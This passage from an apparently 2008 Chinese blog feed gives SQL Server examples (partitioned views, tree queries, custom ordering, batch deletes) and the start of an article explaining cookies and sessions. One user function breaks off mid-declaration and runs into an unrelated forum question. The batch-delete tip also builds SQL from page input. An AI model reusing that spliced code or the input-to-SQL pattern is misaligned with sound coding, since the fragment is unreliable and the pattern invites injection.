Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--分区视图</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create view v_t</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from tempdb.dbo.t_10</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union all</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from pubs.dbo.t_20</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union all</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from northwind.dbo.t_30</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--插入数据</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">insert v_t select 1 ,'aa'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all select 2 ,'bb'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all select 11,'cc'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all select 12,'dd'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all select 21,'ee'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all select 22,'ff'</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--更新数据</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">update v_t set name=name+'_更新' where right(id,1)=1</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--删除测试</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">delete from v_t where right(id,1)=2</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--显示结果</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from v_t</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--删除测试</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">drop table northwind.dbo.t_30,pubs.dbo.t_20,tempdb.dbo.t_10</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">drop view v_t</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">/**//*--测试结果</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">id&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name&nbsp; &nbsp; &nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">----------- ----------</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aa_更新</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">11&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cc_更新</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">21&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ee_更新</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">（所影响的行数为 3 行）</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">==*/</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">八、 树型的实现</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--参考</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--树形数据查询示例</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--作者: 邹建</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--示例数据</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create table [tb]([id] int identity(1,1),[pid] int,name varchar(20))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">insert [tb] select 0,'中国'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 0,'美国'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 0,'加拿大'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 1,'北京'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 1,'上海'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 1,'江苏'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 6,'苏州'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 7,'常熟'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 6,'南京'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 6,'无锡'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 2,'纽约'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">union&nbsp; all&nbsp; select 2,'旧金山'</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--查询指定id的所有子</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">create function f_cid(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">@id int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">)returns @re table([id] int,[level] int)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">as</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">declare @l int</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">set @l=0</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">insert @re select @id,@l</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">while @@rowcount&gt;0</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">begin</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; set @l=@l+1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; insert @re select a.[id],@l</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; from [tb] a,@re b</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; where a.[pid]=b.[id] and b.[level]=@l-1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">/**//**//**//*--如果只显示最明细的子(下面没有子),则加上这个删除</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">delete a from @re a</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">where exists(</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; select 1 from [tb] where [pid]=a.[id])</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--*/</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">return</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">end</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--调用(查询所有的子)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select a.*,层次=b.[level] from [tb] a,f_cid(2)b where a.[id]=b.[id]</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">--删除测试</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">drop table [tb]</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">drop function f_cid</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">go</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">九、 排序问题</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">CREATE TABLE [t] (</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">[id] [int] IDENTITY (1, 1) NOT NULL ,</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">[GUID] [uniqueidentifier] NULL</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">) ON [PRIMARY]</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">GO</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">下面这句执行5次</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">insert t values (newid())</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">查看执行结果</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">1、 第一种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">order by case id when 4 then 1</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; when 5 then 2</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; when 1 then 3</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; when 2 then 4</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; when 3 then 5 end</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">2、 第二种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t order by (id+2)%6</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">3、 第三种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t order by charindex(cast(id as varchar),'45123')</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">4、 第四种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">WHERE id between 0 and 5</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">order by charindex(cast(id as varchar),'45123')</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">5、 第五种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t order by case when id &gt;3 then id-5 else id end</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">6、 第六种</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select * from t order by id / 4 desc,id asc</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">十、 一条语句删除一批记录</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">首先id列是int标识类类型，然后删除ID值为5,6,8,9,10,11的列，这里的cast函数不能用convert函数代替，而且转换的类型必须是varchar，而不能是char，否则就会执行出你不希望的结果，这里的&quot;5,6,8,9,10,11&quot;可以是你在页面上获取的一个chkboxlist构建成的值，然后用下面的一句就全部删</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">除了，比循环用多条语句高效吧应该。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">delete from [fujian] where charindex(','+cast([id] as varchar)+',',','+'5,6,8,9,10,11,'+',')&gt;0</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">还有一种就是</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">delete from table1 where id in(1,2,3,4 )</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">十一、获取子表内的一列数据的组合字符串</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">下面这个函数获取05年已经注册了的某个所的律师，唯一一个参数就是事务所的名称，然后返回zhuce字段里包含05字样的所有律师。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">CREATE&nbsp; FUNCTION fn_Get05LvshiNameBySuo&nbsp; (@p_suo Nvarchar(50))</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">RETURNS Nvarchar(2000)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">AS</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">BEGIN&nbsp;</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">DECLARE @LvshiNames varchar(2000), @name varchar(50)</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">select @LvshiNames=''</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">DECLARE lvshi_cursor CURSOR FOR</p><p style="font-size: 9pt; margin: 0in; font-family: Verdana">数据库里有1,2,3,4,5 共5条记录,要用一条sql语句让其排序,使它排列成4,5,1,2,3,怎么写?</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p style="font-size: 8pt; margin: 0in; color: #666666; font-family: 宋体">源文档 &lt;<a href="http://topic.csdn.net/u/20080605/15/ca6b25f3-3e60-4b95-ac7e-7d7dc02354e6.html">http://topic.csdn.net/u/20080605/15/ca6b25f3-3e60-4b95-ac7e-7d7dc02354e6.html</a>&gt;</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3400.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=3400</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=3400&amp;key=179f1856</trackback:ping></item><item><title>介绍一篇关于session的好文章,写的很详细   </title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3398.html</link><pubDate>Fri, 12 Dec 2008 14:09:22 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/12/12/3398.html</guid><description><![CDATA[<p>&nbsp;介绍一篇关于session的好文章,写的很详细<span style="mso-spacerun: yes">&nbsp;&nbsp; </span></p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">目录：</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">一、术语session</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">二、HTTP协议与状态保持</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">三、理解cookie机制</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">四、理解session机制</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">五、理解javax.servlet.http.HttpSession</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">六、HttpSession常见问题</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">七、跨应用程序的session共享</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">八、总结</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">参考文档</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">一、术语session</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">在我的经验里，session这个词被滥用的程度大概仅次于transaction，更加有趣的是transaction与session在某些语境下的含义是相同的。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">session，中文经常翻译为会话，其本来的含义是指有始有终的一系列动作/消息，比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个 session。有时候我们可以看到这样的话&ldquo;在一个浏览器会话期间，...&rdquo;，这里的会话一词用的就是其本义，是指从一个浏览器窗口打开到关闭这个期间 ①。最混乱的是&ldquo;用户（客户端）在一次会话期间&rdquo;这样一句话，它可能指用户的一系列动作（一般情况下是同某个具体目的相关的一系列动作，比如从登录到选购商品到结账登出这样一个网上购物的过程，有时候也被称为一个transaction），然而有时候也可能仅仅是指一次连接，也有可能是指含义①，其中的差别只能靠上下文来推断②。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">然而当session一词与网络协议相关联时，它又往往隐含了&ldquo;面向连接&rdquo;和/或&ldquo;保持状态&rdquo;这样两个含义， &ldquo;面向连接&rdquo;指的是在通信双方在通信之前要先建立一个通信的渠道，比如打电话，直到对方接了电话通信才能开始，与此相对的是写信，在你把信发出去的时候你并不能确认对方的地址是否正确，通信渠道不一定能建立，但对发信人来说，通信已经开始了。&ldquo;保持状态&rdquo;则是指通信的一方能够把一系列的消息关联起来，使得消息之间可以互相依赖，比如一个服务员能够认出再次光临的老顾客并且记得上次这个顾客还欠店里一块钱。这一类的例子有&ldquo;一个TCP session&rdquo;或者 &ldquo;一个POP3 session&rdquo;③。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">而到了web服务器蓬勃发展的时代，session在web开发语境下的语义又有了新的扩展，它的含义是指一类用来在客户端与服务器之间保持状态的解决方案④。有时候session也用来指这种解决方案的存储结构，如&ldquo;把xxx保存在session 里&rdquo;⑤。由于各种用于web开发的语言在一定程度上都提供了对这种解决方案的支持，所以在某种特定语言的语境下，session也被用来指代该语言的解决方案，比如经常把Java里提供的javax.servlet.http.HttpSession简称为session⑥。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">鉴于这种混乱已不可改变，本文中session一词的运用也会根据上下文有不同的含义，请大家注意分辨。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">在本文中，使用中文&ldquo;浏览器会话期间&rdquo;来表达含义①，使用&ldquo;session机制&rdquo;来表达含义④，使用&ldquo;session&rdquo;表达含义⑤，使用具体的&ldquo;HttpSession&rdquo;来表达含义⑥</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">二、HTTP协议与状态保持</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">HTTP 协议本身是无状态的，这与HTTP协议本来的目的是相符的，客户端只需要简单的向服务器请求下载某些文件，无论是客户端还是服务器都没有必要纪录彼此过去的行为，每一次请求之间都是独立的，好比一个顾客和一个自动售货机或者一个普通的（非会员制）大卖场之间的关系一样。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">然而聪明（或者贪心？）的人们很快发现如果能够提供一些按需生成的动态信息会使web变得更加有用，就像给有线电视加上点播功能一样。这种需求一方面迫使HTML逐步添加了表单、脚本、DOM等客户端行为，另一方面在服务器端则出现了CGI规范以响应客户端的动态请求，作为传输载体的HTTP协议也添加了文件上载、 cookie这些特性。其中cookie的作用就是为了解决HTTP协议无状态的缺陷所作出的努力。至于后来出现的session机制则是又一种在客户端与服务器之间保持状态的解决方案。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">让我们用几个例子来描述一下cookie和session机制之间的区别与联系。笔者曾经常去的一家咖啡店有喝5杯咖啡免费赠一杯咖啡的优惠，然而一次性消费5杯咖啡的机会微乎其微，这时就需要某种方式来纪录某位顾客的消费数量。想象一下其实也无外乎下面的几种方案：</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">1、该店的店员很厉害，能记住每位顾客的消费数量，只要顾客一走进咖啡店，店员就知道该怎么对待了。这种做法就是协议本身支持状态。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">2、发给顾客一张卡片，上面记录着消费的数量，一般还有个有效期限。每次消费时，如果顾客出示这张卡片，则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">3、发给顾客一张会员卡，除了卡号之外什么信息也不纪录，每次消费时，如果顾客出示该卡片，则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">由于HTTP协议是无状态的，而出于种种考虑也不希望使之成为有状态的，因此，后面两种方案就成为现实的选择。具体来说cookie机制采用的是在客户端保持状态的方案，而session机制采用的是在服务器端保持状态的方案。同时我们也看到，由于采用服务器端保持状态的方案在客户端也需要保存一个标识，所以session机制可能需要借助于cookie机制来达到保存标识的目的，但实际上它还有其他选择。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">三、理解cookie机制</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">cookie机制的基本原理就如上面的例子一样简单，但是还有几个问题需要解决：&ldquo;会员卡&rdquo;如何分发；&ldquo;会员卡&rdquo;的内容；以及客户如何使用&ldquo;会员卡&rdquo;。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">正统的cookie分发是通过扩展HTTP协议来实现的，服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">而cookie 的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie，如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置，则把该cookie附在请求资源的HTTP请求头上发送给服务器。意思是麦当劳的会员卡只能在麦当劳的店里出示，如果某家分店还发行了自己的会员卡，那么进这家店的时候除了要出示麦当劳的会员卡，还要出示这家店的会员卡。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">cookie的内容主要包括：名字，值，过期时间，路径和域。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">其中域可以指定某一个域比如.google.com，相当于总店招牌，比如宝洁公司，也可以指定一个域下的具体某台机器比如<a href="http://www.google.com或者froogle.google.com/">www.google.com或者froogle.google.com</a>，可以用飘柔来做比。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">路径就是跟在域名后面的URL路径，比如/或者/foo等等，可以用某飘柔专柜做比。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">路径与域合在一起就构成了cookie的作用范围。</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">如果不设置过期时间，则表示这个cookie的生命期为浏览器会话期间，只要关闭浏览器窗口，cookie就消失了。这种生命期为浏览器会话期的 cookie被称为会话cookie。会话cookie一般不存储在硬盘上而是保存在内存里，当然这种行为并不是规范规定的。如果设置了过期时间，浏览器就会把cookie保存到硬盘上，关闭后再次打开浏览器，这些cookie仍然有效直到超过设定的过期时间。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">存储在硬盘上的cookie 可以在不同的浏览器进程间共享，比如两个IE窗口。而对于保存在内存里的cookie，不同的浏览器有不同的处理方式。对于IE，在一个打开的窗口上按 Ctrl-N（或者从文件菜单）打开的窗口可以与原窗口共享，而使用其他方式新开的IE进程则不能共享已经打开的窗口的内存cookie；对于 Mozilla Firefox0.8，所有的进程和标签页都可以共享同样的cookie。一般来说是用javascript的window.open打开的窗口会与原窗口共享内存cookie。浏览器对于会话cookie的这种只认cookie不认人的处理方式经常给采用session机制的web应用程序开发者造成很大的困扰。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">下面就是一个goolge设置cookie的响应头的例子</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">HTTP/1.1 302 Found</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">Location: <a href="http://www.google.com/intl/zh-CN/">http://www.google.com/intl/zh-CN/</a></p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">Set-Cookie: PREF=ID=0565f77e132de138:NW=1:TM=1098082649:LM=1098082649:S=KaeaCFPo49RiA_d8; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">Content-Type: text/html</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">这是使用HTTPLook这个HTTP Sniffer软件来俘获的HTTP通讯纪录的一部分</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">浏览器在再次访问goolge的资源时自动向外发送cookie</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">使用Firefox可以很容易的观察现有的cookie的值</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">使用HTTPLook配合Firefox可以很容易的理解cookie的工作原理。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">IE也可以设置在接受cookie前询问</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; margin: 0in; font-family: SimSun">这是一个询问接受cookie的对话框。</p><p style="font-size: 10pt; margin: 0in; font-family: SimSun">&nbsp;</p><p lang="en-US" style="font-size: 10pt; 